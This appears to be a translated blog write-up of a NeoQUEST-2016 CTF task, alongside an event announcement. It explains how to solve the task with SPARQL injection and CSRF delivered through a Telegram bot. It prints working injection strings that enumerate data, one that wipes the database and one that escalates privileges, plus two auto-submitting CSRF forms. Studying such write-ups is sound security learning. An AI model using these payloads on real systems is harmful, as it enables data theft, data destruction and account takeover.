
Less than a month is left before the “confrontation” NeoQUEST-2016. It will be held in St. Petersburg on July 7, the entrance is traditionally free, you just need to register on the
site ! Reports, contests, demonstrations of attacks, Twitter quiz - all this (and not only!) Awaits the guests of the event from 11:00 to 18:00 at the CDC
"Club House" .
In the meantime, another analysis of the NeoQUEST-2016 online stage arrived, and this time we will talk about SPARQL injections and CSRF attacks via Telegram messages. The task contained 3 different keys, one key was obtained using a SPARQL injection in the user ID query, the second and third keys were obtained using an injection and a CSRF attack.
Initial data to the task
The initial data for the participants were the URL of the site and the ID of the bot for Telegram.
When you first visited the site, the user was given the opportunity to login / register. After the participants registered and logged in to the site, they opened a small chat interface, where they could send messages to a common board. Also, each participant saw his ID and the inscription “Private DB: no”, from which it could be concluded that they did not have access to the private database.

')
Most of the participants immediately sought to communicate with the bot for Telegram, but he was not a particularly talkative guy and most often answered something like "Hi how are you?". Therefore, participants quickly left him alone and continued to explore the site.
First key: implement a SPARQL injection
If you go to the site and open the “Network” tab in the browser’s developer tools, you could see the following access to the server:

The most interesting request is “get-id”, which receives the current user ID from the server. The logical action was an attempt to test the parameters on the injection. If you copy the query into “cURL” (in the Chrome context menu “Copy as cURL”) and run, you get the following result:

The input parameters of the query "type" and "user". And what if to substitute the character "'" in the field? User? The server returned an error of the form:
Lexical error at line 2, column 40. Encountered: <EOF> after : "\' :hasId ?id }"
We look through various symbols, and for the request with the symbol “<” at the end of the user name we get the following answer:
Encountered " "<" "< "" at line 2, column 26. Was expecting one of: "(" ... "!" ... "^" ... "a" ... <Q_IRI_REF> ... <PNAME_NS> ... <PNAME_LN> ... <VAR1> ... <VAR2> ...
After a bit of searching around the Internet, the participants concluded that the server uses a database to store triplets, and the database query language is nothing more than SPARQL. Judging by the error, it was possible to understand that the parameter is not filtered, which means that a SPARQL injection can be performed!
You can read more about what a SPARQL injection is
here and
here . Its essence is that the body of the request from external data, besides the necessary (such as, for example, user id), can get the code that complements the request. A simple example of a SPARQL query is as follows:
select ?pass where { <urn:user1> <urn:hasPassword> ?pass }
The request means the following: select a password (? Pass - variable), where the subject (<urn: user1>) has a password (predicate <urn: hasPassword>)? Pass. The '<>' quotes indicate the full URN of the subject and, as in this example, the predicate. If you specify a prefix, you can refer to subjects and objects without angular quotes.
So, the first thing that comes to mind when analyzing the error log “: hasId? Id}” is to substitute the variable “? P” instead of the predicate “: hasId”, and comment out the rest of the query:
tester ?p ?id }#
As a result of such a query, the predicate name will be returned: <http: //neobit.ru/neoquest#hasId>
To get the next predicate from the list, one could use the limit offset construction:
tester ?p ?id } limit 1 offset 1#
Here is the second predicate: <https: //neobit.ru/neoquest#hasFirstKey>
And the third: <https: //neobit.ru/neoquest#hasPrivateDatabase>
The predicate hasFirstKey suggests that this is the first key to the task. So, you need to get its value:
tester :hasFirstKey ?id }#
The value "0356c848f23540060a84b453dd9cf0e4" is returned. The first key is obtained!
Second key: we implement CSRF by sending a Telegram message
Just below the form of sending messages to the chat was another form designed to send personal messages to the user. But unfortunately for the NeoQUEST participants, the fields of this form were not active. Also in the chat was the tab "Private Messages", inside which is empty. Obviously, there should have appeared messages addressed to our user.

Further, it was necessary to find the form code and try to send a message to yourself manually, substituting the login into the “To User” field. Participants sending themselves a message received an error message in response: “Only administrator can send private messages”. This means that only privileged users can send private messages. It was then that the silent bot was immediately recalled: or maybe he is a user with the privileges we need?
By trial and error, the participants discovered that when they sent the bot some link, they received in reply “Your site is very interesting!”, Which means that the bot visited the site, the link to which was sent to it.
It remains to try to use its privileges to send a personal message, conducting the so-called “cross-site request forgery” or CSRF attack! Learn more about CSRF
here and
there .
This requires any free hosting and a page with a form to send. The page for operating a CSRF vulnerability may look something like this:
<html> <body> <iframe name="frame"></iframe> <form method="post" action="http://213.170.91.84/users-db/send-message" target="frame" id="form"> <input type="hidden" name="title" value="CSRF" /> <input type="hidden" name="body" value="CSRF" /> <input type="hidden" name="user" value="tester" /> </form> <script>document.getElementById('form').submit()</script> </body> </html>
And then there are two simple steps: send a link to the html file to the bot, go to the “Private Messages” tab - and here it is, the message that came, with the second key “9235bfeeb0cf939f4cf5075c9c7e13f8” in its header!
Third Key: Implementing SPARQL via CSRF
NeoQUEST attentive participants quickly recalled that when they received the first key, they saw the predicate <http: //neobit.ru/neoquest#hasPrivateDatabase> in the database. Its value was set to "0". So, you can try using the SPARQL injection to set the value to "1".
The main form of sending to the general chat is vulnerable, input parameters are not filtered. Let's form a request to delete all information from the database by substituting the request in the message body:
n"}; delete {?s ?p ?o} where {?s ?p ?o}; insert data {<http://n#n><http://n#n> "n
After successful completion of the request, the general chat message should be cleared, all messages have just been deleted from the database.
From the URL it can be seen that the messages were stored in the “messages-db” database “http://213.170.91.84/messages-db/send-message”, while the “hasPrivateDatabase” flag was stored in the “users-db” database “http: //213.170.91.84/users-db/get-id ".
When receiving the second key, CSRF was used to send a message on behalf of the administrator via the URL "http://213.170.91.84/users-db/send-message". This is exactly the base in which you need to make changes. Having trained on the basis of "messages-db", the participants began to try to make a SPARQL injection through CSRF.
Such a request might look something like this:
<html> <body> <iframe name="frame"></iframe> <form method="post" action="http://213.170.84.29/users-db/send-message" target="frame" id="form"> <input type="hidden" name="title" value="CSRFCSRF" /> <input type='hidden' name='body' value='n"};delete data {:tester :hasPrivateDatabase 0};insert data {:tester :hasPrivateDatabase 1};insert data {<http://n#n><http://n#n> "n' /> <input type="hidden" name="user" value="tester" /> </form> <script>document.getElementById('form').submit()</script> </body> </html>
Then the link was sent to the bot. If everything was done correctly, then after updating the main page, the participants saw the third key “c69d16050cda975cd39de” and the winning green line “Private DB: yes”!

By the way, one of our participants published a fairly detailed write-up on the passage of this task, you can read
here .
Finally...
Many participants, accustomed to traditional SQL databases, experienced some confusion when faced with a database for storing triplets, the access to which required the use of a special query language SPARQL. However, it quickly turned out that there is nothing difficult here, and the injection operation here will also be a great success!
Ahead - the rest of the analysis of tasks online-stage NeoQUEST-2016, and, of course, the very "confrontation", which will be held July 7 in St. Petersburg! This year, guests will enjoy an extensive program of reports and many contests in which it will be possible to win great prizes! Registration is open on
the NeoQUEST website , so go ahead!